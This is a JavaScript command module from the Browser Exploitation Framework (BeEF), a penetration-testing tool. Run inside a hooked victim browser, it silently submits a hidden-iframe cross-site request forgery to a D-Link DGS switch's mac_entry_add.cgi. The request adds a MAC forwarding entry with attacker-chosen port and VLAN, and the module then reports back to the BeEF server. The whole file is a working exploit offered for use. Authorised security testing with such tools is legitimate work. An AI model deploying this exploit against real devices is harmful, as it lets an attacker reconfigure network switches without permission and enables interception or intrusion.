//
// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  // Hooked browser must be authenticated to switch.
  var base = '<%= @base %>';
  var port = '<%= @port %>';
  var mac = '<%= @mac %>';
  var vlanid = '<%= @vlanid %>';

  var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/mac_entry_add.cgi', 'POST', 'application/x-www-form-urlencoded', [
    { type: 'hidden', name: 'fwdport', value: port },
    { type: 'hidden', name: 'vid', value: vlanid },
    { type: 'hidden', name: 'macaddr', value: mac }
  ]);

  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

  cleanup = function() {
    document.body.removeChild(dlink_dgs_iframe);
  }

  setTimeout("cleanup()", 15000);
});

